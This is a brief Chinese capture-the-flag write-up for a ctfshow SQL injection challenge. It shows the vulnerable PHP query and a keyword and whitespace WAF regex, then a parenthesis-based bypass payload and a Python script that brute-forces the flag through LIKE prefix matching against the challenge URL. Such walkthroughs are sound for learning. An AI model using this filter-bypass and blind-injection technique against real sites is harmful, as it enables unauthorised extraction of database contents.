源码分析
查询语句
//拼接sql语句查找指定ID用户$sql = "select count(pass) from ".$_POST['tableName'].";";
WAF过滤了空格select and 这些 几乎都过了
//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);}
返回结果
//返回用户表的记录总数$user_count = 22;
解题
这里假设我们已经知道表名是ctfshow_user,那么我们可以控制where语句来控制count的值
构造payload
select count(pass) form (ctfshow)where(pass)like'ctfshow{%'//来进行模糊查询 因为我们已经知道ctfshow的flag开头是ctfshow了
一个个测是不可能的 直接上脚本
import requestsurl = "http://15cdb31b-5ef3-49e2-8049-aabbc1755ec1.challenge.ctf.show/select-waf.php"flag = "ctfshow{"dictionary = "0123456789abcdefghijklmnopqrstuvwxyz}-"for i in range(0,100):for j in dictionary:data = {"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}response = requests.post(url,data=data)if "$user_count = 1;" in response.text:flag = flag + jprint(flag)if j == '}':print(flag)exit()else:passbreak
